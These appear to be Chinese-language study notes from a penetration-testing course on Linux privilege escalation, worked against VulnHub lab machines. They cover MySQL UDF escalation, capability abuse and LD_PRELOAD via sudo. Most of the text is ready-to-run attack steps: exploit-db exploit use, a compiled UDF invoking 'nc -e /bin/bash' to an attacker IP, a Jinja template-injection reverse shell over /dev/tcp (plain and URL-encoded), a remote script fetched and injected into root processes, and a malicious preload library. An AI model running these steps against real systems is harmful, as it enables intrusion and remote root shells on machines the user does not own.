➢ Linux系统提权-Web&用户-数据库类型
➢ Linux系统提权-Web&用户-Capability能力
➢ Linux系统提权-普通用户-LD_Preload加载
#Linux系统提权-Web&用户-数据库类型
https://www.vulnhub.com/entry/raven-2,269/
1、信息收集:
http://192.168.139.155/vendor/
2、Web权限获取:
searchsploit phpmailer
find / -name 40969.py
cp /usr/share/exploitdb/exploits/php/webapps/40969.py p.py
python p.py
3、MYSQL-UDF提权:
-编译UDF.so
searchsploit udf
cp /usr/share/exploitdb/exploits/linux/local/1518.c . #复制到当前所在文件夹
gcc -g -shared -Wl,-soname,1518.so -o udf.so 1518.c -lc
python -m http.server 8080
-下载到目标上
python -c 'import pty; pty.spawn("/bin/bash")'
cd tmp
wget http://192.168.139.141:8080/udf.so
-连接进行导出调用
mysql -uroot -pR@v3nSecurity
select version(); #查看mysql版本
select @@basedir; #确认mysql安装位置
show variables like '%basedir%'; #确认mysql安装位置
show variables like '%secure%'; #查看可导出文件位置
show variables like '%plugin%'; #查找插件位置
show variables like '%compile%'; #查看系统版本
use mysql;
# 创建xiaodi表
create table xiaodi(line blob);
# 往xiaodi表中插入二进制的udf.so
insert into xiaodi values(load_file('/tmp/udf.so'));
# 导出udf.so
select * from xiaodi into dumpfile '/usr/lib/mysql/plugin/udf.so';
# 创建do_system自定义函数
create function do_system returns integer soname 'udf.so';
select do_system('nc 192.168.139.141 6666 -e /bin/bash');
#Linux系统提权-Web&用户-Capability能力
原理参考:https://www.cnblogs.com/f-carey/p/16026088.html
cp /usr/bin/php /tmp/php
设置能力:setcap cap_setuid+ep /tmp/php
删除能力:setcap -r /tmp/php
查看单个能力:getcap /usr/bin/php
查看所有能力:getcap -r / 2>/dev/null
Hacker_Kid
WP参考:https://www.jianshu.com/p/60673ac0454f
环境:https://www.vulnhub.com/entry/hacker-kid-101,719/
saket
Saket!#$%@!!
{% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/192.168.139.141/6688 0>&1"')}}
http://192.168.139.156:9999/?name=%7B%25+import+os+%25%7D%7B%7Bos%2Esystem%28%27bash+%2Dc+%22bash+%2Di+%26%3E+%2Fdev%2Ftcp%2F192%2E168%2E139%2E141%2F6688+0%3E%261%22%27%29%7D%7D
/sbin/getcap -r / 2>/dev/null
python -m http.server 8080
wget http://192.168.139.141:8080/inject.py
for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done
nc 192.168.139.156 5600
结论:suid升级版,更细致的权限划分,通过能力有哪些权限设置进行利用
#Linux系统提权-普通用户-LD_Preload加载
参考:https://www.cnblogs.com/backlion/p/10503985.html
Defaults env_keep += LD_PRELOAD
test ALL=(ALL:ALL) NOPASSWD: /usr/bin/find
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
ls -al shell.so
sudo LD_PRELOAD=/tmp/shell.so find
whoami
Defaults env_keep += LD_PRELOAD
test ALL=(ALL:ALL) NOPASSWD: /tmp/LinEnum.sh
sudo LD_PRELOAD=/tmp/shell.so /tmp/LinEnum.sh
结论:sudo提权有限制,但是一旦设置了LD_PRELOAD,那么只要有程序既可提权